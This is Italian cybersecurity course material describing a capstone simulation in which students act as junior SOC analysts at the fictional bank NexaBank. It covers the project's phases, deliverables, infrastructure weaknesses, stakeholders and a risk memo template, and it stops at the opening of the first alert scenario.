Modulo 6
Progetto finale: simulazione di un incidente di sicurezza informatica

Introduzione - Benvenuti al progetto finale

Benvenuti al **progetto finale**, la sfida conclusiva di questo corso.

Questo non è solo un altro laboratorio. Si tratta di una **simulazione su larga scala di un incidente di sicurezza informatica**, progettata per testare la tua capacità di applicare tutto ciò che hai imparato durante il programma.

Assumerete il ruolo di **analista junior del Security Operations Center (SOC)** presso **NexaBank**, una società di servizi finanziari fittizia ma realistica. Le vostre responsabilità saranno:

- Individuare e indagare su attività sospette
- Contenere e rispondere a un attacco informatico in corso
- Documentare i risultati in un formato professionale
- Comunicare in modo efficace sia con i team tecnici che con i dirigenti aziendali
- Considerare la conformità, l'etica e la strategia di sicurezza a lungo termine

Durante il corso, metterete in pratica non solo **competenze tecniche**, come l'analisi dei log, gli avvisi SIEM e la risposta agli incidenti, ma anche **competenze professionali**: gestione dei rischi, documentazione, processo decisionale e giudizio etico. Queste sono le sfide concrete che i team di sicurezza informatica devono affrontare nel mondo reale.

Al termine di questo corso, avrai:

- **Un portfolio** completo **di indagini sugli incidenti** (rapporti, cronologie, sintesi e piani strategici)
- Esperienza pratica con **l'intero ciclo di vita della risposta agli incidenti**
- Una chiara dimostrazione della tua capacità di **analizzare, comunicare e guidare** durante una crisi di sicurezza informatica

Questo progetto è pensato per sembrare reale ed è progettato per spingerti oltre i tuoi limiti. Prendilo sul serio, affronta ogni fase con attenzione e alla fine avrai acquisito una solida base per la pratica professionale nella sicurezza informatica.

Struttura del progetto

Il progetto Capstone è organizzato in **sei fasi**, ciascuna delle quali rispecchia una fase del ciclo di vita di un incidente di sicurezza informatica reale. Man mano che procederai, vedrai come l'analisi tecnica, il processo decisionale, la documentazione e la comunicazione si integrano in una risposta completa.

Fase 1: Preparazione del terreno

Orientati imparando a conoscere **NexaBank**, l'azienda fittizia che dovrai proteggere. Comprendi il tuo ruolo di **analista SOC junior**, esamina i rischi noti dell'organizzazione e identifica i principali stakeholder che saranno interessati dalle tue decisioni.

Fase 2: Inizio dell'incidente

Prova **l'adrenalina del triage** mentre esamini gli avvisi in arrivo, analizzi
attività sospette e decidi cosa richiede un'escalation. Ti eserciterai nella definizione delle priorità e creerai il tuo primo ticket di escalation SOC.

Fase 3: La tua indagine

Correlate più fonti di prove, inclusi log, avvisi SIEM e dati di rete, per identificare **gli indicatori di compromissione (IOC)**. Costruite una cronologia delle attività dell'aggressore e iniziate a ricostruire la narrazione della violazione.

Fase 4: risposta e documentazione

Agisci in modo deciso con il contenimento, l'eradicazione e il ripristino. Nel farlo, conserva le prove digitali, mantieni una catena di custodia e redigi un **rapporto formale sull'incidente** che descriva sia gli aspetti tecnici che quelli procedurali della tua risposta.

Fase 5: Analisi post-incidente

Fai un passo indietro per esaminare il quadro generale. Conduci **un'analisi delle cause alla radice**, valuta l'impatto sul business, aggiorna il **registro dei rischi** e organizza un **workshop sulle lezioni apprese**.
Traduci i risultati in **aggiornamenti delle politiche e dei manuali operativi** e raccomanda miglioramenti strategici per rafforzare le difese future.

Fase 6: Etica, strategia e presentazione

Concludi elevando il tuo lavoro al **livello dirigenziale**. Prepara un chiaro riassunto esecutivo di una pagina, presenta un **piano strategico di miglioramento della sicurezza** e rifletti sugli aspetti etici e di conformità del lavoro di sicurezza informatica. I tuoi risultati finali costituiscono un **portfolio professionale** che rispecchia la pratica del settore.

Insieme, queste sei fasi simulano **l'intero ciclo di vita della risposta agli incidenti**, dal primo allarme al briefing esecutivo. Completandole, dimostrerai non solo le tue competenze tecniche, ma anche il giudizio, la comunicazione e il pensiero strategico che contraddistinguono un vero professionista della sicurezza informatica.

Obiettivi di apprendimento

Completando il progetto Capstone, sarai in grado di:

- **Assumi il ruolo di analista SOC** e simula le responsabilità reali durante un incidente dal vivo.
- **Rileva, convalida e indaga sulle attività dannose** correlando i dati provenienti dagli avvisi SIEM, dai registri di sistema e dal traffico di rete.
- **Applica l'intero ciclo di vita della risposta agli incidenti** — *Contenere* → *Eliminare* → *Ripristinare* — in modo strutturato e professionale.
- **Documenta e conserva le prove digitali** mantenendo una catena di custodia adeguata e la difendibilità legale.
- **Conduci una revisione post-incidente** per eseguire l'analisi delle cause alla radice, valutare l'impatto sul business e proporre miglioramenti basati sul rischio.
- **Comunicare in modo efficace con tutte le parti interessate**, inclusi dirigenti, operazioni IT, legale e clienti, con il giusto livello di dettagli tecnici e commerciali.
- **Riflettere sulle responsabilità etiche e di conformità** nella sicurezza informatica, riconoscendo che la risposta agli incidenti va oltre la tecnologia e riguarda anche la fiducia, la legge e la responsabilità.

Complessità e impegno in termini di tempo

Il Capstone è un **progetto completo e di livello professionale**. Il completamento richiede **circa 40 ore**, riflettendo la profondità e il realismo di un incidente di sicurezza informatica su larga scala.

Ciascuna delle **sei fasi** è suddivisa in sezioni dettagliate, che combinano **indagini tecniche, documentazione, comunicazione e strategia**. Al termine, avrai un portfolio completo di risultati professionali che rispecchiano la pratica del settore.

Ripartizione stimata

Fase	Sezioni	Tempo stimato	Risultati chiave
1. Preparazione	5	4-5 ore	Memo sui rischi
2. IncidenteInizio	8	7–8ore	Ticket analista SOC + escalation Nota
3. Indagine	6	8–9 ore	Cronologia dell'incidente
4. Risposta s Documentazione	4	9-10 ore	Rapporto formale sulla risposta all'incidente
5. e **sull'analisi post-incidente**	5	6-7 ore	Documento di revisione post-incidente
6. Presentazione sull'etica	5	5-6 ore	Dirigentidiapositive+etica saggio di riflessione

Impegno totale

- **34 sezioni** in sei fasi
- **~40 ore di lavoro**
- Un portfolio di **risultati professionali** (biglietti, relazioni, scadenze, sintesi esecutive e presentazioni) adatto per essere mostrato ai datori di lavoro

Risultati finali

Al termine del progetto, avrai prodotto un portfolio completo di **artefatti professionali relativi alla sicurezza informatica**, organizzati per fase.

Fase	Risultato	Formato / Lunghezza stimata	Destinatari
1. Preparazione del terreno	Memo sui rischi	1-2 pagine (scritto)	Team di sicurezza Leadership
2. Inizio dell'incidente	Ticket dell'analista SOC	1pagina(strutturato modulo ticket)	Analista SOC senior
	Nota di escalation mail concisa	0,5-1 pagina (memo/e-memo/e-mail)	Responsabile della risposta agli incidenti
3. La tua indagine	Cronologia dell'incidente	1–2 pagine (tabella/cronologia)	Investigatori del team C del SOC
	Elenco IOC	1 pagina (tabella degli IOC)	Cacciatori di minacce del team SOC C
4. Documentazione delle risposte	Registro del playbook di contenimento	1-2 pagine (registro delle fasi)	Risposta agli incidenti Team
	Eradicazione C Note sul ripristino	1-2 pagine (note tecniche)	Operazioni IT C Team IR
	Registro della catena di custodia	1-2 pagine (tabella di registro strutturata)	Forensics C Legale
	Rapporto formale di risposta agli incidenti	5-7 pagine (rapporto strutturato)	Dirigenti, legali, revisori
5. Post-incidente Analisi	Analisi delle cause profonde 1-2 pagine Relazione	(tecnico/analitico)	SOC + Operazioni IT

Fase	Risultato	Formato / Lunghezza stimata	Destinatari
	Revisione dell'impatto aziendale	1-2 pagine (incentrato sull'attività)	Dirigenti, Legale, Gestione dei rischi
	Registro dei rischi aggiornato	1–2 pagine (foglio di calcolo/tabella)	Comitato rischi
	Sintesi delle lezioni apprese	1–2 pagine (formato elenco puntato)	SOC + Dirigenti
	Rapporto sulle raccomandazioni	2–3 pagine (elenco con priorità)	Dirigenti + Operazioni IT
6. Etica, Strategia e presentazione	Conformità Tabella di mappatura	1 pagina (strutturato tabella)	Legale/Conformità
	Documento di sintesi esecutiva	1 pagina (sintesi non tecnica)	Dirigenti/Consiglio di amministrazione
	Roadmap strategica per la sicurezza	2-3 pagine (iniziative a breve/medio/lungo termine)	Dirigenti + Responsabili della sicurezza
	Slide di presentazione esecutiva	5–7 diapositive (visive, pronte per la leadership)	Dirigenti, Consiglio di amministrazione
	Saggio di riflessione sull'etica	1-2 pagine (saggio riflessivo)	Istruttore / Autovalutazione
	Documento di riflessione finale	2-3 pagine (autovalutazione)	Istruttore / Autovalutazione
	Presentazione del portfolio finale	Pacchetto compilato (tutti i risultati sopra indicati)	Istruttore / Potenziali datori di lavoro
Totali:			

- **20 risultati attesi in 6 fasi**
- **Combinazione di risultati tecnici, commerciali e riflessivi**
- **Il pubblico spazia dai colleghi SOC alla dirigenza esecutiva e ai responsabili della conformità/legali**

Come affrontare il progetto

Il Capstone è progettato per **rispecchiare la pratica professionale**. Per avere successo, non basta la precisione tecnica: occorrono anche capacità di giudizio, comunicazione chiara e un flusso di lavoro strutturato.

Mentalità chiave per il successo

- **Pensa come un analista professionista** → Non limitarti a seguire le istruzioni. Interpreta le prove, prendi decisioni e giustifica le tue azioni.
- **Documenta tutto** → I registri, gli IOC, le azioni e le decisioni sono importanti tanto quanto le soluzioni tecniche stesse.
- **Trova il giusto equilibrio tra competenze tecniche e comunicative** → I tuoi rapporti e le tue presentazioni devono avere senso sia per gli ingegneri che per i dirigenti.
- **Consideralo reale** → Si tratta di una simulazione sicura, ma affrontala come se stessi lavorando in un SOC reale sotto pressione.

Lista di controllo di preparazione pre-Capstone

Prima di iniziare **la Fase 1**, verifica di essere preparato:

- Comprendo la **struttura e gli obiettivi** del Capstone.
- Posso dedicare **circa 40 ore** alle sei fasi.
- Sono pronto ad assumere il ruolo di **analista SOC junior presso NexaBank**.
- Sono in grado di produrre **documenti professionali** (relazioni, promemoria, scadenze, presentazioni).

Fase 1 – Preparazione del terreno

1.1 Benvenuti al Capstone – Introduzione alla sfida

Panoramica

Il Capstone segna il passaggio dai **laboratori guidati** a una **simulazione completa e end-to-end della sicurezza informatica**.
A differenza degli esercizi precedenti, non esiste una "risposta giusta" per ogni fase. Ci si aspetta invece che pensiate, analizziate e prendiate decisioni come se faceste realmente parte di un team **del Security Operations Center (SOC)**.

Questa è la vostra occasione per dimostrare che non solo siete in grado di **applicare le vostre competenze tecniche,** ma anche **di comunicare, documentare e elaborare strategie** come un professionista della sicurezza informatica.

La tua missione

Sei stato assegnato al **SOC (Security Operations Center) di NexaBank** come **analista di sicurezza junior**.
Nel corso di questo progetto, dovrai:

1. **Rileverai** attività sospette utilizzando avvisi SIEM, registri e acquisizioni di rete.
2. **Indagare** e confermare gli indicatori di compromissione (IOC).
3. **Risponderai** contenendo l'incidente, eliminando le minacce e ripristinando i sistemi.
4. **Documentare** ogni azione, conservando le prove e mantenendo standard di reporting professionali.
5. **Analizzare** la causa principale, aggiornare il registro dei rischi e proporre miglioramenti alla sicurezza.
6. **Presentare** i risultati alla dirigenza, riflettendo sulle sfide etiche della divulgazione e della responsabilità.

I risultati finali includeranno **prodotti di livello professionale**: relazioni tecniche, documenti sui rischi, un briefing esecutivo e una riflessione etica.

Perché è importante

La sicurezza informatica nel mondo reale non consiste solo nell'eseguire comandi o configurare strumenti. Si tratta di **prendere decisioni sotto pressione**, bilanciando:

- **Accuratezza tecnica** → Identificare e mitigare correttamente le minacce.
- **Impatto sul business** → Comprendere come le decisioni influenzano le operazioni e la fiducia dei clienti.
- **Considerazioni legali ed etiche** → Gestire i dati in modo responsabile, rispettare le normative e comunicare in modo trasparente.

Questo Capstone rispecchia la **realtà ad alto rischio del lavoro moderno dei SOC**, dove le vostre azioni influenzano direttamente la capacità di un'organizzazione di resistere a un attacco o di subire danni duraturi.

Cosa distingue il Capstone

Rispetto ai laboratori precedenti:

- **Complessità multifase** → Anziché utilizzare un unico strumento o svolgere un'unica attività, seguirai un incidente **dall'inizio alla fine**.
- **Fonti di dati multiple** → Log, avvisi, traffico di rete e dati degli endpoint devono essere tutti correlati.
- **Decisioni aperte** → Dovrete stabilire le priorità delle azioni, scegliere le strategie di comunicazione e giustificare il vostro ragionamento.
- **Comunicazione con le parti interessate** → Preparerete documenti non solo per il personale tecnico, ma anche per i dirigenti, le risorse umane, l'ufficio legale e i clienti.
- **Dilemmi etici** → Rifletterete su divulgazione, responsabilità e responsabilità professionale.

Sforzo stimato

Si tratta di un **progetto importante** che richiede circa **40 ore di lavoro** suddivise in sei fasi e 34 sezioni.

Dovrete dedicare tempo specifico sia **all'indagine tecnica** che **al lavoro di documentazione/presentazione**.

Mentalità per il successo

Per avere successo nel Capstone, affrontalo con la mentalità di un **vero analista di sicurezza informatica**:

- Sii **curioso**: segui le piste sospette e chiediti "cos'altro potrebbe significare?".
- Sii **sistematico**: documenta ogni azione e crea una cronologia chiara.
- Sii **deciso**: gli incidenti non aspettano la certezza assoluta; devi agire con le informazioni disponibili.
- Sii **comunicativo**: le tue scoperte sono utili solo se gli altri le comprendono.

Ricorda: **velocità, accuratezza e comunicazione** sono fondamentali per una risposta efficace agli incidenti.

Punto di controllo: siete pronti?

Prima di procedere, confermate quanto segue:

- Comprendo che il Capstone è una **simulazione end-to-end**.
- Sono pronto ad agire come **analista SOC junior** presso NexaBank.
- Posso dedicare **circa 40 ore** al completamento dell'intero progetto.
- Producerò **risultati di livello professionale** (report, presentazioni, promemoria).

Una volta pronto, passa alla **Sezione 1.2: Panoramica su NexaBank**, dove incontrerai l'organizzazione che dovrai difendere.

1.2 Panoramica su NexaBank – Comprendere l'organizzazione

Panoramica

Prima di poter difendere un'azienda, è necessario comprenderne **l'identità**, **le attività** e **i punti deboli**. Questa sezione presenta **NexaBank**, l'organizzazione fittizia che dovrete proteggere durante tutto il Capstone.

NexaBank è una **società di servizi bancari digitali di medie dimensioni** con oltre **300 dipendenti** e più di **40.000 clienti** in tutto il Nord America. Il suo modello di business si basa su **applicazioni finanziarie web e mobili** sicure e affidabili, supportate da un'infrastruttura ibrida di sistemi on-premise e servizi cloud.

Fatti chiave

- **Settore:** Finanza digitale / Bancario
- **Dipendenti:** ~320
- **Clienti:** oltre 40.000 clienti bancari al dettaglio
- **Sede centrale:** Toronto, con dipendenti remoti negli Stati Uniti e in Canada
- **Impronta IT:** infrastruttura ibrida (Windows, Linux, Cloud CRM)
- **Maturità della sicurezza:** in crescita, ma disomogenea: la sicurezza non ha tenuto il passo con la rapida espansione

Operazioni aziendali

I ricavi e la reputazione di NexaBank dipendono da:

- **Servizi rivolti ai clienti** → App di web e mobile banking utilizzate quotidianamente da migliaia di clienti.
- **Sistemi interni** → Posta elettronica dei dipendenti, sistemi HR, database finanziari, portali di assistenza clienti.
- **Integrazioni di terze parti** → CRM basato su cloud, processori di pagamento, API esterne.
- **Modello cloud ibrido** →

- On-premises: controller di dominio Windows Active Directory, file server, database delle risorse umane.
- Cloud: sistema CRM (SaaS), hosting e-mail, backup.
- Server API basati su Linux esposti a Internet per il supporto delle app mobili.

Panoramica dell'infrastruttura

Risorse on-premise (data center – sede centrale di Toronto):

- Controller di dominio Windows Server 2019 (Active Directory + autenticazione).
- Server database HR (Windows Server + SQL).
- File server che ospita documenti interni.

Risorse cloud:

- CRM (gestione delle relazioni con i clienti) ospitato su una piattaforma SaaS.
- Suite di posta elettronica e collaborazione.
- Fornitore di backup su cloud.

Risorse rivolte al pubblico:

- Server API basati su Linux che supportano l'app di mobile banking.
- Server di applicazioni web (portale di accesso clienti).

Endpoint:

- Mix di laptop Windows (personale) e laptop macOS (sviluppatori).
- Il 30% dei dipendenti lavora **da remoto**, connettendosi tramite VPN.

Posizione di sicurezza

NexaBank sta **passando** da un approccio IT di tipo startup a una posizione regolamentata nel settore dei servizi finanziari. Lo stato attuale include:

Punti di forza

- Firewall di base e rilevamento delle intrusioni in atto.
- Sistema SIEM recentemente implementato.

- Politica di risposta agli incidenti redatta.

Punti deboli

- **Ritardi nell'applicazione delle patch** (i server spesso accumulano un ritardo di 30-60 giorni).
- **Protezione degli endpoint incoerente** sui dispositivi remoti.
- **Lacune nelle politiche** (regole relative alle password e al blocco degli account obsolete).
- **Account privilegiati** non sottoposti a revisione regolare.
- **Lacune nel monitoraggio** (registrazione limitata sui server API).

Rischi aziendali

Poiché NexaBank opera nel **settore finanziario**, la posta in gioco è alta:

- **Fiducia dei clienti:** una singola violazione potrebbe causare un grave danno alla reputazione.
- **Esposizione normativa:** la conformità alle leggi canadesi e statunitensi in materia di dati finanziari è obbligatoria.
- **Rischio finanziario:** tempi di inattività o frodi potrebbero comportare perdite per milioni di dollari.
- **Rischio operativo:** il personale remoto e i sistemi ibridi creano una complessità che gli hacker possono sfruttare.

Esercizio: mappatura della superficie di attacco di NexaBank

Utilizzando le informazioni disponibili sull'infrastruttura di NexaBank, elencare **i** potenziali **punti di accesso per gli aggressori**:

1. _____
2. _____
3. _____
4. _____

Suggerimento: pensa all'accesso VPN remoto, alle API rivolte al web, ai server senza patch o alle politiche deboli.

Punto di controllo: Sezione 1.2

Prima di passare alla Sezione 1.3, assicurati di essere in grado di:

- Descrivere le operazioni aziendali e l'infrastruttura ibrida di NexaBank.
- Identificare le risorse chiave in loco, nel cloud e rivolte al pubblico.
- Riconoscere le principali debolezze nell'attuale assetto di sicurezza.
- Elenca almeno tre potenziali punti di accesso per gli aggressori.

1.3 Il tuo ruolo nel SOC – Analista di sicurezza junior

Panoramica

Sei appena entrato a far parte di NexaBank come **analista di sicurezza junior** nel **Security Operations Center (SOC)**.
Il SOC è il **team di difesa in prima linea** responsabile dell'individuazione, dell'analisi e della risposta alle minacce alla sicurezza della banca.

In qualità di analista junior, non ti limiterai a "monitorare gli avvisi", ma sarai parte attiva nel processo decisionale che può fare la differenza tra un **incidente minore contenuto** e una **violazione catastrofica**.

Le tue responsabilità

Il tuo lavoro quotidiano include:

- **Monitoraggio degli avvisi** → Controllo dei dashboard SIEM e degli avvisi di rilevamento degli endpoint per individuare attività insolite.
- **Indagare** sulle **attività sospette** → Esaminare i log di sistema, i log del firewall e il traffico di rete per convalidare o ignorare gli avvisi.
- **Triage degli incidenti** → Determinare se l'attività è benigna (falso positivo), sospetta (necessita di escalation) o confermata come dannosa.
- **Documentazione dei risultati** → Tenere note dettagliate e contrassegnate con data e ora per ogni indagine.
- **Escalation degli incidenti** → Inoltrare le minacce confermate agli **analisti senior** o **ai responsabili della risposta agli incidenti (IR)** con un riepilogo chiaro.

Considerati un "primo soccorritore" nella sicurezza digitale.

Il percorso di escalation

In NexaBank, il processo di escalation funziona come segue:

1. **Livello 1 – Analisti SOC junior (voi):**
    - Prima linea di difesa.

- Gestiscono la selezione degli allarmi, le indagini di base e la revisione dei registri.
- Documentano i risultati nel sistema di ticketing SOC.

2. **Livello 2 – Analisti SOC senior:**
    - Convalidano gli escalation.
    - Condurre analisi forensi più approfondite.
    - Decidere le misure di contenimento ed eradicazione.
3. **Livello 3 – Team di risposta agli incidenti (IR) CISO:**
    - Gestire incidenti complessi o gravi.
    - Gestire le comunicazioni con i dirigenti, le risorse umane, l'ufficio legale e le autorità di regolamentazione esterne.

Strumenti a tua disposizione

Avrete accesso a:

- **Piattaforma SIEM** (Security Information and Event Management) – Allerta centralizzata e correlazione dei log.
- **Endpoint Detection and Response (EDR)** – Avvisi relativi a malware ed endpoint.
- **Strumenti di monitoraggio della rete** – Firewall, registri IDS/IPS, acquisizione di pacchetti.
- **Strumenti forensi** – Utilità di acquisizione della memoria, verifica hash.
- **Sistemi di collaborazione** – Sistema di ticketing, canali di chat, modelli di reportistica.

Cosa significa avere successo

In qualità di analista SOC junior, le tue prestazioni saranno valutate in base a:

- **Accuratezza**: classifichi correttamente gli avvisi ed eviti falsi positivi/negativi?
- Temp**estività** – Rispondi e inoltri rapidamente quando necessario?
- **Chiarezza** – I tuoi rapporti e le tue note sono dettagliati, professionali e di facile comprensione?

- Coll**aborazione**: comunichi in modo efficace con gli analisti senior e i team IT?

Esercizio: le priorità del tuo primo giorno

Immagina che sia **il** tuo **primo giorno di lavoro** alla NexaBank. Classifica le seguenti responsabilità in ordine di importanza (1 = più importante, 5 = meno importante). Quindi spiega il tuo ragionamento.

- Monitoraggio degli avvisi
- Indagine sulle attività sospette
- Documentazione dei risultati
- Segnalazione degli incidenti confermati
- Comunicare con le parti interessate

1. _____
2. _____
3. _____
4. _____
5. _____

Perché?

_____

_____

_____

Punto di controllo: Sezione 1.3

Prima di passare alla Sezione 1.4, assicurati di essere in grado di:

- Spiegare il ruolo di un analista SOC junior presso NexaBank.
- Descrivere il percorso di escalation dal Livello 1 al Livello 3.
- Identificare gli strumenti principali che utilizzerai.
- Riflettere su come daresti priorità alle tue responsabilità.

1.4 Rischi noti e punti deboli: il panorama delle vulnerabilità di NexaBank

Panoramica

Ogni organizzazione ha **un debito di sicurezza**, ovvero lacune nella protezione che gli aggressori possono sfruttare. In NexaBank, recenti valutazioni interne e risultati SOC hanno evidenziato diversi **rischi noti**.
In qualità di analista SOC junior, è necessario tenere presente questi aspetti durante la revisione degli avvisi, poiché potrebbero spiegare come gli aggressori ottengono l'accesso iniziale o persistono all'interno della rete.

1.4.1 Ritardi nell'applicazione delle patch

- **Problema:** a causa della carenza di personale, i cicli di applicazione delle patch spesso subiscono un ritardo **di 30-60 giorni** rispetto alle versioni rilasciate dai fornitori.
- **Impatto:** le vulnerabilità note rimangono senza patch, rendendo NexaBank un bersaglio privilegiato per gli attacchi (ad esempio, server VPN senza patch, difetti RDP di Windows, vulnerabilità API).
- **Potenziali attacchi:** kit di exploit, esecuzione di codice remoto, escalation dei privilegi.

1.4.2 Rischi legati al lavoro da remoto

- **Problema:** circa **il 30% dei dipendenti lavora da remoto**, connettendosi tramite VPN e servizi cloud.
- **Impatto:** maggiore dipendenza da configurazioni VPN sicure e sicurezza degli endpoint, entrambe gestite in modo incoerente.
- **Potenziali attacchi:** credenziali VPN rubate, uso non sicuro del Wi-Fi, campagne di phishing contro il personale remoto.

1.4.3 Lacune nelle politiche

- **Problema:** le politiche **di utilizzo accettabile** e **di blocco degli account** di NexaBank sono obsolete. I requisiti relativi alle password sono deboli e i blocchi non vengono applicati.

- **Impatto:** è più facile per gli aggressori effettuare attacchi di forza bruta agli account o riutilizzare le credenziali rubate.
- **Potenziali attacchi:** Credential stuffing, password spraying, appropriazione indebita di account.

1.4.4 Copertura della protezione degli endpoint

- **Problema:** il software di protezione degli endpoint non è distribuito in modo coerente su tutti i laptop remoti e su alcuni computer degli sviluppatori.
- **Impatto:** il malware potrebbe non essere rilevato e i meccanismi di persistenza potrebbero rimanere nascosti.
- **Potenziali attacchi:** keylogger, trojan, ransomware.

1.4.5 Gestione degli account privilegiati

- **Problema:** gli account privilegiati (ad esempio, amministratori di dominio, amministratori di database) non vengono controllati regolarmente.
- **Impatto:** potrebbero esistere account inattivi o utilizzati in modo improprio, aumentando il raggio d'azione in caso di compromissione.
- **Potenziali attacchi:** escalation dei privilegi, esfiltrazione dei dati, movimento laterale.

Tabella riassuntiva - Punti deboli di NexaBank

Rischio	Impatto	Potenziale sfruttamento
Applicazione ritardata delle patch agli	Server vulnerabili esposti attacchi	RCE, sfruttamento di CVE
Personale remoto sicuro	VPN debole, accesso remoto non accesso	Furto di credenziali, phishing, MITM
Lacune nelle politiche	Password deboli/applicazione del blocco	Brute force, credential stuffing
Copertura della protezione degli endpoint	Persistenza del malware non rilevata	Ransomware, keylogger, trojan

Rischio	Impatto	Potenziale sfruttamento
Gestione degli account privilegiati	Abuso di account inattivi/con privilegi elevati	Furto di dati, movimento laterale

Esercizio: Classificazione dei rischi

Classificate i cinque rischi sopra indicati dal **più critico al meno critico** nell'attuale contesto di NexaBank. Giustificate il vostro ragionamento.

1. _____
2. _____
3. _____
4. _____
5. _____

Perché hai classificato il punto 1 come il più critico?

_____

_____

_____

Punto di controllo: Sezione 1.4
Prima di passare alla Sezione 1.5, assicurati di essere in grado di:

- Elenca i cinque principali rischi noti di NexaBank.
- Collega ciascun rischio alle potenziali azioni degli aggressori.
- Assegna una priorità ai rischi in base alla probabilità e all'impatto.

1.5 Impatto sul business degli stakeholder: chi è interessato da un incidente?

Panoramica

Gli incidenti di sicurezza informatica raramente rimangono confinati al SOC.
In NexaBank, le tue azioni come analista SOC junior si ripercuotono su più reparti e influenzano direttamente sia i dipendenti che i clienti.

Per avere successo in questo Capstone, devi pensare non solo al **contenimento tecnico**, ma anche alla **comunicazione aziendale**. Ogni stakeholder ha preoccupazioni specifiche e i tuoi rapporti devono affrontarle in modo chiaro.

Principali stakeholder di NexaBank

Ruolo degli stakeholder		Di cosa hanno bisogno	Come sono influenzati dagli incidenti
IT Operazioni	Manutenzione dell'infrastruttura, dei server e dei backup	Avvisi tempestivi sui sistemi interessati, istruzioni sul contenimento Patch C	Carico di lavoro aggiuntivo per l'applicazione delle patch, l'isolamento dei server, il ripristino dei backup
Risorse umane	Gestione dei dipendenti e delle politiche	Consapevolezza in caso di incidente coinvolga i dispositivi dispositivi, account o comportamenti	Disciplina dei dipendenti, requisiti di formazione o sostituzione dei dispositivi
Conformità legale	Garantire che NexaBank Conformità alle leggi/normative	Documentazione precisa, tempistiche e ambito di esposizione dei dati	Potrebbe essere necessario presentare Notifiche di violazione, gestione delle cause legali o coinvolgimento delle autorità di regolamentazione
Aggiornamenti sulle decisioni esecutive Team	Decisioni strategiche e aggiornamenti dell' aziendale continuità	Notifiche concise e di alto livello aziendale (risposta impatto, fiducia dei clienti, costi finanziari)	Responsabilità diretta per la risposta pubblica, azionisti fiducia, reputazione

Ruolo degli stakeholder		Di cosa hanno bisogno	Come sono influenzati dagli incidenti
Clienti	Utilizzano i servizi web/mobili	Comunicazione chiara in caso di potenziali incidenti i loro dati o servizi sono comprome ssi account	Perdita di fiducia, compromessi, frodi finanziarie

Esempi di impatto sugli stakeholder

- **Compromissione** di **un server** → Il reparto IT deve ripristinare il sistema dal backup; i dirigenti vogliono conoscere l'impatto del tempo di inattività.
- **Un attacco di phishing contro il personale** → L'ufficio risorse umane potrebbe dover riqualificare i dipendenti; l'ufficio legale potrebbe dover preparare rapporti sulla violazione.
- **Una violazione dei dati che coinvolge le informazioni personali dei clienti** → I clienti perdono fiducia; l'ufficio legale avvia la procedura di segnalazione di conformità.

Stili di comunicazione

Quando si segnalano incidenti, adattare la comunicazione:

- **Operazioni IT:** tecnico, dettagliato, passo dopo passo.
- **Risorse umane:** orientate alle politiche e ai dipendenti.
- **Legale:** tempistiche precise, registri, prove.
- **Dirigenti:** risultati aziendali, visione d'insieme.
- **Clienti:** trasparenza, semplicità, non tecnicismo.

Esercizio: mappatura degli stakeholder

Scegli **uno scenario di incidente** (ad esempio: attacco di phishing, epidemia di ransomware o furto di credenziali).
Per ogni gruppo di stakeholder, scrivi ciò che gli sta più a cuore.

- **Operazioni IT:** _____
- **Risorse umane:** _____

- **Legale:** _____
- **Dirigenti:** _____
- **Clienti:** _____

Punto di controllo: Sezione 1.5
Prima di completare la Fase 1, assicurati di essere in grado di:

- Identificare i cinque principali stakeholder di NexaBank.
- Spiegare in che modo ciascun gruppo è influenzato dagli incidenti.
- Adattare il vostro stile di comunicazione in base al pubblico.

Riepilogo della fase 1 – Preparazione del terreno

Cosa avete imparato

In questa prima fase del Capstone, hai:

- Compreso **la sfida del Capstone** e il tuo ruolo di **analista SOC junior**.
- Esplorato **il profilo organizzativo di NexaBank**, comprese le sue infrastrutture e operazioni.
- Imparato quali sono **le** tue **responsabilità e il percorso di escalation** nel SOC.
- Esaminato **i rischi noti e i punti deboli** di NexaBank che gli aggressori potrebbero sfruttare.
- Mappato **gli stakeholder** e **l'impatto sugli affari** degli incidenti di sicurezza informatica.

Punti chiave

- La sicurezza informatica riguarda tanto **la continuità operativa e la comunicazione** quanto la difesa tecnica.
- NexaBank presenta **alcune debolezze reali** (ritardi nell'applicazione delle patch, politiche inadeguate, lacune negli endpoint) che è necessario tenere presenti nell'analisi degli incidenti.
- Gli stakeholder vedono gli incidenti attraverso **lenti diverse**: l'IT vuole dettagli, i dirigenti vogliono conoscere l'impatto sul business, i clienti vogliono fiducia.
- In qualità di analista SOC, il tuo ruolo si colloca **all'incrocio tra il rilevamento tecnico e il processo decisionale organizzativo**.

Risultati attesi per la Fase 1

Completa il tuo **Risk Memo**, che dovrebbe includere:

1. **I tre** principali **rischi che** NexaBank deve attualmente affrontare.
2. Almeno **un soggetto interessato** che sarebbe influenzato da ciascun rischio.
3. Una breve spiegazione del motivo per cui avete classificato il rischio principale come il più critico.

Punto di controllo prima della fase 2

Prima di procedere, assicurati di essere in grado di:

- Spiegare l'infrastruttura e il modello di business di NexaBank.
- Descrivere il tuo ruolo di analista SOC junior e come funziona l'escalation.
- Identificare i cinque rischi chiave di NexaBank.
- Mappare gli stakeholder in base ai potenziali impatti.
- Completare e inviare **il** tuo **Risk Memo**.

Modello di promemoria sui rischi – Risultato atteso della fase 1

A: Analista senior della sicurezza, NexaBank SOC Da:

Analista junior SOC (Tu)

Oggetto: Valutazione dei rischi NexaBank – Memo pre-incidente

Data: _____

1. Principali rischi identificati

Elenca i **tre rischi più critici che** NexaBank deve attualmente affrontare. Utilizza un linguaggio chiaro e professionale.

1. **Rischio n. 1:** _____
    - **Descrizione:** _____
    - **Perché è critico:** _____
2. **Rischio n. 2:** _____
    - **Descrizione:** _____
    - **Perché è importante:** _____
3. **Rischio n. 3:** _____
    - **Descrizione:** _____
    - **Perché è importante:** _____

2. Impatto sugli stakeholder

Per ogni rischio, identificare almeno **un gruppo di stakeholder** che potrebbe essere interessato e spiegare **in che modo**.

Rischio	Stakeholder interessato	Impatto
Rischio n. 1 _____	_____	
Rischio n. 2 _____	_____	

Rischio Parti interessate Impatto

Rischio n. 3 _____ _____

3. Motivazione della priorità

Sele**zion**are il **rischio più critico** e spiegare perché merita la massima priorità.

- **Rischio scelto:** _____
- **Motivazione:**

4. Note dell'analista (facoltativo)

Utilizza questa sezione per annotare eventuali ipotesi, domande senza risposta o aree che desideri approfondire una volta che l'incidente avrà avuto inizio.

Lista di controllo per il completamento

- Ho elencato tre rischi chiave.
- Ho mappato ciascun rischio in base all'impatto sugli stakeholder.
- Ho scelto e giustificato il rischio con la massima priorità.
- Il mio promemoria è scritto in **un linguaggio SOC chiaro e professionale**.

Fase 2: Inizio dell'incidente

2.1 Arriva il primo allarme: accesso sospetto

Scenario

Sono **le 2:41 di mercoledì mattina**.
